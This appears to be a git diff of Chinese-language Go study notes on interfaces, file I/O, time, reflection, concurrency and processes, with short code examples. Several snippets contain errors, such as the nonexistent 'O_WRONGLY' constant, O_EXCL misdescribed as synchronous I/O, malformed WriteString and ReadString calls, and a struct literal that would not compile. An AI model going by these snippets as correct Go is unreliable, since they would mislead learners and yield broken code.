// 一定一个鱼类:其呼吸方式是在水下
type Fish struct {
Name string
Kind string
}
func (f *Fish) Breath() {
fmt.Println("鱼 在 水下 呼吸")
}
func (f *Fish) Swim() {
fmt.Printf("%s 在游泳\n", f.Name)
}
// 一个普通函数,参数是动物接口
func Display(a Animal) {
// 直接调用接口中的方法
a.Breath()
// 调用实现类的成员:此时会报错
fmt.Println(a.Name)
}
func main() {
var b = &Bird{
"斑鸠",
"蚂蚱",
"鸟类"
}
Display(b)
}
```
接口类型无法直接访问其具体实现类的成员需要使用断言type assertions对接口的类型进行判断类型断言格式
```go
t := i.(T) //不安全写法如果i没有完全实现T接口的方法这个语句将会触发宕机
t, ok := i.(T) // 安全写法如果接口未实现接口将会把ok掷为falset掷为T类型的0值
```
- i代表接口变量
- T代表转换的目标类型
- t代表转换后的变量
上述案例的Dsiplay就可以书写为
```go
func Display(a Animal) {
// 直接调用接口中的方法
a.Breath()
// 调用实现类的成员:此时会报错
instance, ok := a.(*Bird) // 注意:这里必须是 *Bird类型因为是*Bird实现了接口不是Bird实现了接口
if ok {
// 得到了具体的实现类,才能访问实现类的成员
fmt.Println("该鸟类的名字是:", instance.Name)
} else {
fmt.Println("该动物不是鸟类")
}
}
```
## 接口类型转换
在接口定义时其类型已经确定因为接口的本质是方法签名的集合如果两个接口的方法签名结合相同顺序可以不同则这2个接口之间不需要强制类型转换就可以相互赋值因为go编译器在校验接口是否能赋值时比较的是二者的方法集
在上一节中函数Display接收的是Animal接口类型在断言后转换为了别的类型*Bird(实现类指针类型)
```go
func Display(a Animal) {
instance, ok := a.(*Bird) // 动物接口转换为了 *Bird实现类
if ok {
// 得到了具体的实现类,才能访问实现类的成员
fmt.Println("该鸟类的名字是:", instance.Name)
} else {
fmt.Println("该动物不是鸟类")
}
}
```
其实断言还可以将接口转换成另外一个接口
```go
func Display(a Animal) {
instance, ok := a.(Flyer) // 动物接口转换为了飞翔接口
if ok {
instance.Fly()
} else {
fmt.Println("该动物不会飞")
}
}
```
一个实现类往往实现了很多接口为了精准类型查询可以使用switch语句来判断对象类型
```go
var v1 interfaceP{} = ...
switch v := v1.(type) {
case int:
case string:
...
}
```
## 多态
多态是面向对象的三大特性之一即一个类型具备多种具体的表现形式
上述示例中鸟和鱼都实现了动物接口的 Breath方法即动物的Breath方法在鸟和鱼中具备不同的体现我们在new出动物的具体对象实例时这个对象实例也就实现了对应自己的接口方法
```go
// New出Animal的函数
func NewAnimal(kind string) Animal{
switch kind {
case "鸟类":
return &Bird{}
case "鱼类":
return &Fish{}
default:
return nil
}
}
func main() {
// 获取的是动物接口类型,但是实现类是鸟类
a1 := NewAnimal("鸟类")
a1.Breath() // 鸟 在 陆地 呼吸
// 获取的是动物接口类型,但是实现类是鱼类
a2 := NewAnimal("鱼类")
a2.Breath() // 鱼 在 水下 呼吸
}
```

View File

@ -0,0 +1,136 @@
## 文件的基本操作
### 1.1 创建文件
```go
f, err := os.Create("test.txt")
if err != nil {
fmt.Println(err)
return
}
fmt.Println(f) // 打印文件指针
f.Close() // 打开的资源在不使用时必须关闭
```
使用Create()创建文件时
- 如果文件不存在则创建文件
- 如果文件存在则清空文件内内容
- Create创建的文件任何人都可以读写
### 1.2 打开文件写入内容
打开文件有两种方式
- Open()以只读的方式打开文件若文件不存在则会打开失败
- OpenFile()打开文件时可以传入打开方式该函数的三个参数
- 参数1要打开的文件路径
- 参数2文件打开模式 `O_RDONLY``O_WRONGLY``O_RDWR`还可以通过管道符来指定文件不存在时创建文件
- 参数3文件创建时候的权限级别在0-7之间常用参数为6
```go
f, err := os.OpenFile("test.txt", os.O_APPEND | os.O_RDWR, os.ModeAppend)
if err != nil {
fmt.Println("open file err: ", err)
return
}
f.Close()
```
常用的文件打开模式
```go
O_RDONLY int = syscall.O_RDONLY // 只读
O_WRONGLY int = syscall.O_WRONGLY // 只写
O_RDWR int = syscall.O_RDWR // 读写
O_APPEND int = syscall.O_APPEND // 写操作时将数据追加到文件末尾
O_CREATE int = syscall.O_CREATE // 如果不存在则创建一个新文件
O_EXCL int = syscall.O_EXCL // 打开文件用于同步I/O
O_TRUNC int = syscall.O_TRUNC // 如果可能,打开时清空文件
```
### 1.3 写文件
写入字节 `Write()`
```go
// 写入文件内容
n, err := f.Write([]byte("hello"))
if err != nil {
fmt.Println("write err: ", err)
return
}
fmt.Println("write number = ", n)
```
按字符串写 `WriteString()`
```go
// 写入文件内容
n, err := f.WriteString(["hello") // 会将前5个字符替换为 hello
if err != nil {
fmt.Println("write err: ", err)
return
}
fmt.Println("write number = ", n)
```
修改文件的读写指针位置 `Seek()`包含两个参数
- 参数1偏移量为正数时向文件尾偏移为负数时向文件头偏移
- 参数2偏移的开始位置包括
- io.SeekStart从文件起始位置开始
- io.SeekCurrent从文件当前位置开始
- io.SeekEnd从文件末尾位置开始
`Seek()`函数返回
```go
f, _ := os.OpenFile("test.txt",os.O_RDWR, 6)
off, _ := f.Seek(5, io.SeekStart)
fmt.Println(off) // 5
n, _ := f.WriteAt([]byte("111"), off)
fmt.Println(n)
f.Close()
```
### 1.4 获取文件描述信息 os.Stat()
Go的os包中定义了file类封装了文件描述信息同时也提供了ReadWrite的实现
```go
fileInfo, err := os.Stat("./test.txt")
if err != nil {
fmt.Println("stat err: ", err)
return
}
fmt.Printf("%T\n", fileInfo) // *os.fileStat
```
获取到的fileInfo内部包含 `文件名Name()``大小Size()``是否是目录IsDir()` 等操作
### 1.5 路径目录操作
```go
// 路径操作
fmt.Println(filepath.IsAbs("./test.txt")) // false判断是否是绝对路径
fmt.Println(filepath.Abs("./test.txt")) // 转换为绝对路径
// 创建目录
err := os.Mkdir("./test", os.ModePerm)
if err != nil {
fmt.Println("mkdir err: ", err)
return
}
// 创建多级目录
err = os.MkdirAll("./dd/rr", os.ModePerm)
if err != nil {
fmt.Println("mkdirAll err: ", err)
return
}
```
贴士Openfile()可以用于打开目录
### 1.6 删除文件
```go
err := os.Remove("test.txt")
if err != nil {
fmt.Println("remove err:", err)
return
}
```
该函数也可用于删除目录只能删除空目录如果要删除非空目录需要使用 `RemoveAll()` 函数

View File

@ -0,0 +1,158 @@
## 文件读取
文件读写的接口位于io包file文件类是这些接口的实现类
### 1.1 直接读取 read()
read() 实现的是按字节数读取
```go
readByte := make([]byte, 128) // 指定要读取的长度
for {
n, err := f.Read(readByte) // 将数据读取如切片,返回值 n 是实际读取到的字节数
if err != nil && err != io.EOF{ // 如果读到了文件末尾EOF 即 end of file
fmt.Println("read file : ", err)
break
}
fmt.Println("read: ", string(readByte[:n]))
if n < 128 {
fmt.Println("read end")
break
}
}
```
### 1.2 bufio的写操作
bufio封装了io.Readerio.Writer接口对象并创建了另一个也实现了该接口的对象bufio.Readerbufio.Writer通过该实现bufio实现了文件的缓冲区设计可以大大提高文件I/O的效率
使用bufio读取文件时先将数据读入内存的缓冲区缓冲区一般比要比程序中设置的文件接收对象要大这样就可以有效降低直接I/O的次数
`bufio.Read([]byte)`相当于读取大小`len(p)`的内容
- 当缓冲区有内容时将缓冲区内容全部填入p并清空缓冲区
- 当缓冲区没有内容且`len(p)>len(buf)`即要读取的内容比缓冲区还要大直接去文件读取即可
- 当缓冲区没有内容且`len(p)<len(buf)`即要读取的内容比缓冲区小读取文件内容并填满缓冲区并将p填满
- 以后再次读取时缓冲区有内容将缓冲区内容全部填入p并清空缓冲区和第一步一致
示例
```go
// 创建读对象
reader := bufio.NewReader(f)
// 读一行数据
byt, _ := reader.ReadBytes('\n')
fmt.Println(string(byt))
```
ReadString() 函数也具有同样的功能且能直接读取到字符串数据无需转换示例读取大文件的全部数据
```go
reader := bufio.NewReader(f)
for { // 按照缓冲区读取:读取到特定字符结束
str, err := reader.ReadString('\n') // 按行读取
if err != nil && err != io.EOF {
fmt.Println("read err: ", err)
break
}
fmt.Println("str = ", str)
if err == io.EOF {
fmt.Print("read end")
break
}
}
```
在Unix设计思想中一切皆文件命令行输入也可以作为文件读入
```go
reader := bufio.NewReader(os.Stdin)
s, _ := reader.ReadString("-") // 假设命令行以 - 开始
```
缓冲的思想通过bufio数据被写入用户缓冲再进入系统缓冲最后由操作系统将系统缓冲区的数据写入磁盘
### 1.3 io/ioutil 包文件读取
ioutil直接读取文件
```go
ret, err := ioutil.ReadFile("test.txt")
if err != nil {
fmt.Println("read err :", err)
return
}
fmt.Println(string(ret))
```
### 文件写入
### 2.1 直接写
```go
f, err := os.OpenFile("test.txt", os.O_CREATE | os.O_WRONLY, os.ModePerm)
if err != nil {
fmt.Println("open err:", err)
return
}
defer f.Close()
n, err := f.Write([]byte("hello world"))
if err != nil {
fmt.Println("write err:", err)
}
fmt.Println(n) // 每次都会从头开始重新写入
```
上述案例中如果我们不想每次写入都会从头开始重新写入那么需要将打开模式修改为`os.O_CREATE | os.O_WRONLY | os.O_APPEND`
### 2.2 bufio的写操作
```go
writer := bufio.NewWriter(f)
_, err = writer.WriteString("hello world!")
if err != nil {
fmt.Println("write err:", err)
return
}
writer.Flush() // 必须刷新缓冲区:将缓冲区的内容写入文件中。如果不刷新,则只会在内容超出缓冲区大小时写入
```
### 2.3 io/ioutil 包文件写入
```go
s := "你好世界"
err := ioutil.WriteFile("test.txt", []byte(s), os.ModePerm)
```
## 文件读取偏移量
文件读取时是可以控制光标位置的
```go
f, err := os.OpenFile("test.txt", os.O_RDWR, os.ModePerm)
if err != nil {
fmt.Println("open err:", err)
return
}
defer f.Close()
// 读取前五个字节,假设读取的文件内容为: hello world!
bs := []byte{0} // 创建1个字节的切片
_, err = f.Read(bs)
if err != nil {
fmt.Println("read err:", err)
return
}
fmt.Println("读到的数据是:", string(bs)) // h
// 移动光标
_, err = f.Seek(4, io.SeekStart) // 光标从开始位置(h之前)移动4位到达o之前
if err != nil {
fmt.Println("seek err:", err)
return
}
_, err = f.Read(bs)
if err != nil {
fmt.Println("read err:", err)
return
}
fmt.Println("读到的数据是:", string(bs)) // o
```
通过记录光标的位置可以实现断点续传假设已经下载了1KB文件即本地临时文件存储了1KB此时断电重启后通过本地文件大小Seek()方法获取到上次读取文件的光标位置即可实现继续下载

View File

@ -0,0 +1,107 @@
## 时间操作
### 1.1 创建时间
Golang中时间操作位于 time 包中常见操作有
```go
// 当前时间
nowTime := time.Now()
fmt.Printf("当前时间为:%T\n", nowTime) // 其类型是 time.Time
fmt.Println(nowTime) // 2019-01-01 13:50:07.522712 +0800 CST m=+0.000138178
// 自定义时间
customTime := time.Date(2008, 7, 15, 13, 30,0,0, time.Local)
fmt.Println(customTime) // 2008-07-15 13:30:00 +0800 CST
```
### 1.2 时间格式化与解析
Go的时间格式化必须传入Go的生日`Mon Jan 2 15:04:05 -0700 MST 2006`
```go
nowTime := time.Now()
stringTime := nowTime.Format("2006年1月2日 15:04:05")
fmt.Println(stringTime) // 2019年01月01日 13:55:30
```
Go的时间解析
```go
stringTime := "2019-01-01 15:03:01"
objTime,_ := time.Parse("2006-01-02 15:04:05",stringTime)
fmt.Println(objTime) // 2019-01-01 15:03:01 +0000 UTC
```
注意这些方法的参数模板必须与时间一一对应否则报错
### 1.3 获取
```go
nowTime := time.Now()
year, month, day := nowTime.Date()
fmt.Println(year, month, day) // 2019 November 01
hour, min, sec := nowTime.Clock()
fmt.Println(hour, min, sec)
fmt.Println(nowTime.Year())
fmt.Println(nowTime.Month())
fmt.Println(nowTime.Hour())
fmt.Println(nowTime.YearDay()) // 指今年一共过了多少天
```
### 1.4 时间戳
时间戳是指计算时间距离 1970年1月1日的秒数
```go
nowTime := time.Now()
fmt.Println(nowTime.Unix())
```
### 1.5 时间间隔
```go
nowTime := time.Now()
fmt.Println(nowTime.Add(time.Second * 10)) // 10秒后
fmt.Println(nowTime.AddDate(1, 0, 0)) // 1年后
```
贴士
- 传入负数则是往前计算
- Sub()函数可以用来计算两个时间的差值
### 1.6 时间睡眠
```go
time.Sleep(time.Second * 3) // 程序睡眠三秒钟
```
## 时间中的通道操作定时器
标准库中的Timer可以让用户自定义一个定时器在用对select处理多个channel的超时单channel读写的超时等情形时很方便
```go
timer := time.NewTimer(time.Second * 3) // 类型为 *time.Timer
ch := timer.C // timer内部包含一个通道
fmt.Println(<-ch) // 3秒后通道内有了数据可以取出
```
配合协程
```go
timer := time.NewTimer(time.Second * 3) // 类型为 *time.Timer
go func() {
<- timer.C
fmt.Println("timer 结束")
}()
time.Sleep(time.Second * 5)
flag := timer.Stop() // 取消定时器
fmt.Println(flag) // false
```
time.After函数的使用
```go
ch := time.After(time.Second * 3) // 底层其实是 new Timer(d).C
newTime := <-ch // 阻塞3秒
fmt.Println(newTime)
```

View File

@ -0,0 +1,88 @@
## 反射简介
反射是指在程序运行期对程序本身进行访问和修改的能力即可以在运行时动态获取变量的各种信息比如变量的类型type类别kind如果是结构体变量还可以获取到结构体本身的信息字段与方法通过反射还可以修改变量的值可以调用关联的方法
反射常用在框架的开发上一些常见的案例如JSON序列化时候tag标签的产生适配器函数的制作等都需要用到反射反射的两个使用常见使用场景
- 不知道函数的参数类型没有约定好参数传入类型很多此时类型不能统一表示需要反射
- 不知道调用哪个函数比如根据用户的输入来决定调用特定函数此时需要依据函数函数参数进行反射在运行期间动态执行函数
Go程序的反射系统无法获取到一个可执行文件空间中或者是一个包中的所有类型信息需要配合使用标准库中对应的词法语法解析器和抽象语法树( AST) 对源码进行扫描后获得这些信息
贴士
- CC++没有支持反射功能只能通过 typeid 提供非常弱化的程序运行时类型信息
- Java C#等语言都支持完整的反射功能
- LuaJavaScript类动态语言由于其本身的语法特性就可以让代码在运行期访问程序自身的值和类型信息因此不需要反射系统
注意
- 在编译期间无法对反射代码进行一些错误提示
- 反射影响性能
## 反射是如何实现的
反射是通过接口的类型信息实现的即反射建立在类型的基础上当向接口变量赋予一个实体类型的时候接口会存储实体的类型信息
Go中反射相关的包是`reflect`在该包中定义了各种类型实现了反射的各种函数通过它们可以在运行时检测类型的信息改变类型的值
变量包括typevalue两个部分所以 `nil != nil` type包括两部分
- static type在开发时使用的类型如intstring
- concrete type是runtime系统使用的类型
类型能够断言成功取决于 concrete type 如果一个reader变量如果 concrete type 实现了 write 方法那么它可以被类型断言为writer
Go中反射与interface类型相关其type是 concrete type只有interface才有反射每个interface变量都有一个对应的pairpair中记录了变量的实际值和类型value, type即一个接口类型变量包含2个指针一个指向对应的 concrete type 另一个指向实际的值 value
示例
```go
var r io.Reader // 定义了一个接口类型
r, err := os.OpenFile() // 记录接口的实际类型、实际值
var w io.Writer // 定义一个接口类型
w = r.(io.Writer) // 赋值时接口内部的pair不变所以 w 和 r 是同一类型
```
## Go中反射初识
### 3.1 reflect包的两个函数
reflect 提供了2个重要函数
- ValueOf()获取变量的值即pair中的 value
- TypeOf()获取变量的类型即pair中的 concrete type
```go
type Person struct {
Name string
Age int
}
p := Person{ "lisi", 13}
fmt.Println(reflect.ValueOf(p)) // {lisi 13} 变量的值
fmt.Println(reflect.ValueOf(p).Type()) // main.Person 变量类型的对象名
fmt.Println(reflect.TypeOf(p)) // main.Person 变量类型的对象名
fmt.Println(reflect.TypeOf(p).Name()) // Person:变量类型对象的类型名
fmt.Println(reflect.TypeOf(p).Kind()) // struct:变量类型对象的种类名
fmt.Println(reflect.TypeOf(p).Name() == "Person") // true
fmt.Println(reflect.TypeOf(p).Kind() == reflect.Struct) //true
```
类型与种类的区别
- Type是原生数据类型 intstringboolfloat32 以及 type 定义的类型对应的反射获取方法是 reflect.Type Name()
- Kind是对象归属的品种IntBoolFloat32ChanStringStructPtr指针MapInterfaceFuneArraySliceUnsafe Pointer等
### 3.2 静态类型与动态类型
静态类型变量声明时候赋予的类型
```go
type MyInt int // int 是静态类型
var i *int // *int 是静态类型
```
动态类型运行时给这个变量赋值时这个值的类型即为动态类型为nil时没有动态类型
```go
var A interface{} // 空接口 是静态类型,必须是接口类型才能实现类型动态变化
A = 10 // 此时静态类型为 interface{} 动态为int
A = "hello" // 此时静态类型为 interface{} 动态为string
```

View File

@ -0,0 +1,146 @@
## 反射的使用
#### 1.1 反射操作简单数据类型
```go
var num int64 = 100
// 设置值:指针传递
ptrValue := reflect.ValueOf(&num)
newValue := ptrValue.Elem() // Elem()用于获取原始值的反射对象
fmt.Println("type", newValue.Type()) // int64
fmt.Println(" can set", newValue.CanSet()) // true
newValue.SetInt(200)
// 获取值:值传递
rValue := reflect.ValueOf(num)
fmt.Println(rValue.Int()) // 方式一200
fmt.Println(rValue.Interface().(int64)) // 方式二200
```
#### 1.2 反射进行类型推断
```go
type user struct {
Name string
Age int
}
u := &user{
Name: "Ruyue",
Age: 100,
}
fmt.Println(reflect.TypeOf(u)) // *main.user
fmt.Println(reflect.TypeOf(*u)) // main.user
fmt.Println(reflect.TypeOf(*u).Name()) // user
fmt.Println(reflect.TypeOf(*u).Kind()) // struct
```
#### 1.3 反射操作指针
```go
type user struct {
Name string
Age int
}
u := &user{
Name: "Ruyue",
Age: 100,
}
typeOfUser = reflect.TypeOf(u).Elem()
fmt.Println("element name: ", typeOfUser.Name()) // user
fmt.Println("element kind: ", typeOfUser.Kind()) // struct
```
#### 1.4 反射操作结构体
反射可以获取结构体的详细信息
```go
type user struct {
Name string
Age int `json:"age" id:"100"` // 结构体标签
}
s := user{
Name: "zs",
Age: 1,
}
typeOfUser := reflect.TypeOf(s)
// 字段用法
for i := 0; i < typeOfUser.NumField(); i++ { // NumField 当前结构体有多少个字段
fieldType := typeOfUser.Field(i) // 获取每个字段
fmt.Println(fieldType.Name, fieldType.Tag)
}
if userAge, ok := typeOfUser.FieldByName("Age"); ok {
fmt.Println(userAge) // {Age int json:"age" id:"100" 16 [1] false}
}
// 方法用法
for i := 0; i < typeOfUser.NumMethod(); i++ {
fieldType := typeOfUser.Method(i) // 获取每个字段
fmt.Println(fieldType.Name)
}
```
## 反射调用函数与方法
#### 2.1 使用反射调用函数
如果反射值对象(reflect.Value)中值的类型为函数时可以通过 reflect.Value调用该 函数使用反射调用函数时需要将参数使用反射值对象的切片 口reflect.Value 构造后传入 Call()方法中 调用完成时函数的返回值通过 []reflect.Value 返回
```go
func add(name string, age int) {
fmt.Printf("name is %s, age is %d \n", name, age)
}
func main() {
funcValue := reflect.ValueOf(add)
params := []reflect.Value{reflect.ValueOf("lisi"), reflect.ValueOf(20)}
reList := funcValue.Call(params)
fmt.Println(reList) // 函数返回值
}
```
### 2.2 反射调用方法
方法的调用是需要接收者的
```go
package main
import (
"fmt"
"reflect"
)
type user struct {
Name string
Age int
}
func (u *user) ShowName() {
fmt.Println(u.Name)
}
func (u *user) AddAge(addNum int) {
fmt.Println("age add result:", u.Age + addNum)
}
func main() {
u := &user{"lisi", 20}
v := reflect.ValueOf(u)
// 调用无参方法
methodV := v.MethodByName("ShowName")
methodV.Call(nil) // 或者传递一个空切片也可
// 调用有参方法
methodV2 := v.MethodByName("AddAge")
args := []reflect.Value{reflect.ValueOf(30)} //
methodV2.Call(args)
}
```

View File

@ -0,0 +1,103 @@
## 并发编程历史
在早期的操作系统中各个任务的执行完全是串行的只有在一个任务运行完成之后另一个任务才会被执行我们称之为`单道程序`
而现代操作系统引入了`多道程序`的并发概念
> 多道程序当一个程序暂时不需要使用CPU的时候系统会把该程序挂起或中断此时其他程序可以使用CPU多个任务在操作系统的控制中实现了宏观上的并发
多道程序提升了计算机资源的利用率但是也引起了多个任务对系统资源的抢夺在开发上极为不便
## 计算机术语
### 2.1 串行与并发
串行与并发是同一个维度的概念区别是
- 串行指令按照顺序执行
- 并发指令并未按照顺序执行而是在宏观上同时执行即CPU不停的在各个任务之间来回切换给人感觉所有任务同时执行了比如电脑同时运行了QQ浏览器其实是CPU在这2个程序之间按照一定的调度算法在来回切换执行
并行与并发并不是同一个维度上的概念
- 并行parallel在同一时刻微秒级多条指令在多个处理器上同时执行并行一般要借助多核CPU实现
- 并发concurrency并未同时执行只是由于CPU运行过快给人产生同时运行的假象
并发与并行概念的区别是是否同时执行比如吃饭时电话来了需要停止吃饭去接电话接完电话继续吃饭这是并发执行但是吃饭时电话来了边吃边接是并行
### 2.2 进程
> 进程就是二进制可执行文件在计算机内存中的运行实例可以简单理解为一个.exe文件是个类进程就是该类new出来的实例
> 进程是操作系统资源分配的最小单位如虚拟内存资源所有代码都是在进程中执行的
在Unix系统中操作系统启动后将会运行进程号PID为1的一个进程 init 进程该进程是所有其他进程的父进程操作系统通过 fork() 函数能够创建多个子进程从而能够提升计算机资源的利用率
进程在创建后会拥有自己的独立地址空间操作系统会提供一个数据结构PCB来描述该进程Process Control Block进程控制块PCB中保存了进程的管理控制信息等数据
由于进程拥有互相独立的地址空间所以进程之间无法直接通信必须利用进程间通信(IPC,InterProcess Communication)方式来实现通信
### 2.3 内核态与用户态
操作系统的内存会被划分为两大区域
- 内核区提供了大量的系统调用函数即最原生最底层的操作函数 open()write()
- 用户区加载运行应用程序的区域比如使用C语言写的程序同样的C语言也提供了本语言的对应操作函数 fopen()fwrite()这些由编程语言提供的函数称之为库函数
我们不难发现库函数其实是在系统调用函数基础上再次进行了封装方便开发者使用当然开发者既可以使用库函数来操作文件也可以直接使用底层的系统调用函数但是这样需要做很多错误处理
程序在运行时CPU有两种状态
- 用户态当一个进程在执行用户自己的代码时处于用户运行态用户态
- 内核态当进程需要执行一些系统调用时比如利用C的库函数fopen()fopen()虽然是库函数但是执行时底层调用了系统的open()函数此时程序进入内核态调用结束后程序会重新回到用户态
操作系统之所以要这样设计是出于内存的安全考虑内核地址只有内核自己的函数系统调用函数才能使用
### 2.4 线程
> 线程操作系统基于进程开启的轻量级进程是操作系统调度执行的最小单位即cpu分配时间轮片的对象
一个进程内部可以创建多个线程他们与进程一样拥有独立的PCB但是没有独立的地址空间即线程之间共享了地址空间这样也让线程之间无需IPC直接就能通信因为他们在同一个地址空间内
虽然线程带来了通信的便利但是如果同一空间的中多个线程同时去修改同一个数据就会造成资源竞争问题这是计算机编程中最复杂的问题
### 2.5 协程
进程和线程都是操作系统级别的协程与他们并不是一个维度的概念所以类似现代操作系统的书籍并未提出协程的概念
贴士千万不要将协程理解为轻量级线程
> 协程程序在执行时函数内部可以中断适当时候返回接着执行即协程运行在用户态
协程的优势在于其轻量级执行效率高
- 轻量级没有线程开销可以轻松创建上百万个协程而不会造成系统资源衰竭
- 执行效率高函数之间的切换不再是线程切换由程序自身控制
线程需要上下文不停切换而协程不会主动交出使用权除非代码中主动要求切换或者发生I/O此时会切换到别的协程这样能更好的解决并发问题
## 并发理论基础
### 3.1 并发解决方案
- 多进程:由系统内核管理并发操作简单进程互不影响但是开销最大占用资源较多能开启的进程数极少
- 多线程:多线程在大部分系统上仍然属于系统层面的并发开销较大且会存在死锁管理问题
- 非阻塞I/O:基于回调的异步非阻塞I/O尽可能少的运用线程
- 协程:本质上仍然是用户态线程但不需要系统进行抢占式调度且真正的实现寄存于线程中开销极小
### 3.2 并发程序数据交互方式一同步
> 线程同步线程在发出某一个功能调用时如果没有得到结果则该调用不返回此时其他线程不能调用该功能因为要保证数据一致性
线程同步是为了避免引起数据混乱实际上多个控制流共同操作一个共享资源都需要同步比如进程线程信号之间都需要同步机制常见的线程同步技术就是互斥锁
同步的作用是避免在并发访问共享资源时可能发生的冲突
同步的理念
- 程序如果想使用一个共享数据就必须先获取对它的使用权当程序不再使用该资源时则应放弃对该资源的访问权(释放资源)
- 资源的使用权被拿走后其他访问该资源的程序不应该被中断而是应该等到拥有使用权的程序释放资源之后再进行访问
在同一时刻某个资源应该只被一个程序占用
### 3.3 并发程序数据交互方式二数据传递
除了使用同步方式来实现并发程序数据的交互之外还可以使用数据传递方式也称为通信
该方式可以使数据不加延迟的发送给数据接收方即使数据接收方还没有为接收数据做好准备也不会造成数据发送方的等待数据会被临时存储在一个称谓通信缓存的数据结构中通信缓存是一种特殊的数据结构可以同时被多个程序使用数据接收方可以在准备就绪之后按照数据存入通信缓存的顺序接收它们
## 各个语言的并发理念
- Java典型的多线程并发模式利用同步机制加锁来实现并发访问控制
- Node.js典型的单线程非阻塞I/O实践者不存在Java的资源竞争问题I/O操作处理完毕后才会利用事件机制通知业务线程返回结果没有资源竞争的难题
- Go典型的协程并发理念实践者在语言本身层面实现了协程协程之间通过**管道**进行**数据传递**
目前流行的并发理念是异步非阻塞I/O协程

View File

@ -0,0 +1,258 @@
## 进程概念
> 进程就是二进制可执行文件在计算机内存中的运行实例可以简单理解为一个.exe文件是个类进程就是该类new出来的实例
> 进程是操作系统最小的资源分配单位如虚拟内存资源所有代码都是在进程中执行的
为了方便管理进程每个进程都有自己的描述符是个复杂的数据结构我们称之为**进程控制块**即PCB(Process Control Block)
PCB中保存了进程的管理控制信息等数据主要包含字段有
```
进程IDPID进程的唯一标识符 是一个非负整数的顺序编号
父进程IDPPID当前进程的父进程ID
文件描述符表即很多指向file接否提的指针
进程状态就绪运行挂起停止等状态
虚拟地址范围
访问权限
当前工作目录
用户id和组id
会话和进程组
```
贴士进程ID是可以重用的当进程ID达到最大限额值时内核会从头开始查找闲置的进程ID并使用最先找到的那一个作为新进程的ID
## 进程创建
Unix系统在启动后会首先运行一个名为 init 的进程其PID 1该进程是所有其他进程的父进程
Unix操作系统通过 `fork()` 函数能够创建多个子进程从而能够提升计算机资源的利用率此时调用者称为父进程被创造出来的进程称为子进程
- 每个子进程都是源自它的父进程的一个副本它会获得父进程的数据段栈的拷贝并与父进程共享代码段
- 子进程对自己副本的修改对其父进程和兄弟进程都是不可见的反之亦然
创建的子进程可以直接开始运行但是也可以通过 `exec()` 函数来加载一个全新的程序此时子进程会丢弃现存的程序文本段为加载的新程序重新创建栈数据段我们对这一个过程称为执行一个新程序
贴士exec并不是1个函数, 是一系列 exec 开头的函数作用都是执行新程序
C语言示例如下
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(){
pid_t pid;
int r;
// 创建子进程
pid = fork();
if (pid == -1){ // 发生错误
perror("fork发生错误 ");
exit(1);
}
// 返回值大于0时是父进程
if(pid > 0){
printf("父进程: pid = %d, ppid = %d \n", getpid(),getppid()); // 父进程执行动作
sleep(3); // 父进程睡眠,防止子进程还没运行完毕,父进程却直接退出了
}
// 返回值为0的是子进程
if(pid == 0){
printf("子进程: pid = %d , ppid = %d \n", getpid(),getppid()); // 子进程执行动作
// 子进程加载一个新程序:系统自带的 echo程序输出 hello world!
char * execv_str[] = {"echo", "hello world!",NULL};
int r = execv("/bin/echo", execv_str); // 笔者的是maclinux上为 "/usr/bin/echo"
if (r <0 ){
perror("error on exec");
exit(0);
}
}
return 0;
}
```
Go 语言中没有直接提供 fork 系统调用的封装而是将 fork execve 合二为一具体信息可以参见Go的os包
```go
package main
import (
"fmt"
"os"
"time"
)
func main() {
fmt.Println("当前进程ID", os.Getpid())
procAttr := &os.ProcAttr{
Files: []*os.File{os.Stdin, os.Stdout, os.Stderr},
}
process, err := os.StartProcess("/bin/echo", []string{"", "hello,world!"}, procAttr)
if err != nil {
fmt.Println("进程启动失败:", err)
os.Exit(2)
} else {
fmt.Println("子进程ID", process.Pid)
}
time.Sleep(time.Second)
}
```
根据该方式就可以很容运行计算机上的其他任何程序包括自身的命令行Java程序等等
## 进程分类
进程分类
- 用户进程位于用户空间中是程序执行的实例
- 内核进程位于内核空间中可以访问硬件
由于用户进程无法访问内核空间所以无法直接操作硬件内核会暴露一些接口提供给用户进程使用让用户进程简介操作硬件这便是系统调用
内核为了保证系统的安全和稳定**CPU**特供了两个状态
- 用户态大部分时间CPU处于该状态此时只能访问用户空间
- 内核态当用户进程发起系统调用时内核会将CPU切换到内核态然后执行相应接口函数
注意这里的用户态和内核态是针对CPU的
## 进程调度
同一时刻只能运行一个进程但是CPU可以在多个进程间进行来回切换我们称之为上下文切换
操作系统会按照调度算法为每个进程分配一定的CPU运行时间称之为时间轮片每个进程在运行时都会认为自己独占了CPU如图所示
![](../images/go/02-01.svg)
切换进程是有代价的因为必须保存进程的运行时状态
## 进程状态转换
进程在创建后在执行过程中其状态一直在变化不同时代的操作系统有不同的进程模型
- 三态模型运行态就绪态等待态
- 五态模型初始态就绪态运行态挂起态阻塞终止态
本笔记介绍五态模型初始态是进程的准备节点常与就绪状态结合来看进程的状态转换图
![](../images/go/02-02.svg)
## 进程运行的问题
### 7.1 写时复制
父进程无法预测子进程什么时候结束只有进程完成工作后父进程才会调用子进程的终止态
贴士全盘复制父进程的数据相当低效Linux使用写时复制COWCopy on Write技术来提高进程的创建效率
### 7.2 进程回收
当一个进程退出之后进程能够回收自己的用户区的资源但是不能回收内核空间的PCB资源必须由它的父进程调用wait或者waitpid函数完成对子进程的回收避免造成系统资源的浪费
> 孤儿进程父进程先于子进程结束则子进程成为孤儿进程此时该进程会被系统的 init 进程领养
> 僵尸进程子进程终止但父进程未回收子进程残留资源PCB于内核中变成僵尸进程
注意由于僵尸进程是一个已经死亡的进程所以不能使用kill命令将其杀死通过杀死其父进程的方法可以消除僵尸进程杀死其父进程后这个僵尸进程会被init进程领养由init进程完成对僵尸进程的回收
## 进程间通信
### 8.0 进程间通信方式概述
Linux环境下进程地址空间相互独立每个进程各自有不同的用户地址空间任何一个进程的全局变量在另一个进程中都看不到所以进程和进程之间不能相互访问要交换数据必须通过内核在内核中开辟一块缓冲区进程1把数据从用户空间拷到内核缓冲区进程2再从内核缓冲区把数据读走内核提供的这种机制称为进程间通信IPCInterProcess Communication
![](../images/go/02-09.png)
在进程间完成数据传递需要借助操作系统提供特殊的方法文件管道信号共享内存消息队列套接字命名管道等随着计算机的蓬勃发展一些方法由于自身设计缺陷被淘汰或者弃用现今常用的进程间通信方式有
- 管道 (使用最简单)
- 共享映射区 (无血缘关系进程通信)
- 信号 (开销最小)
- 本地套接字 (最稳定)
Go支持的IPC方法有管道信号socket
### 8.1 管道
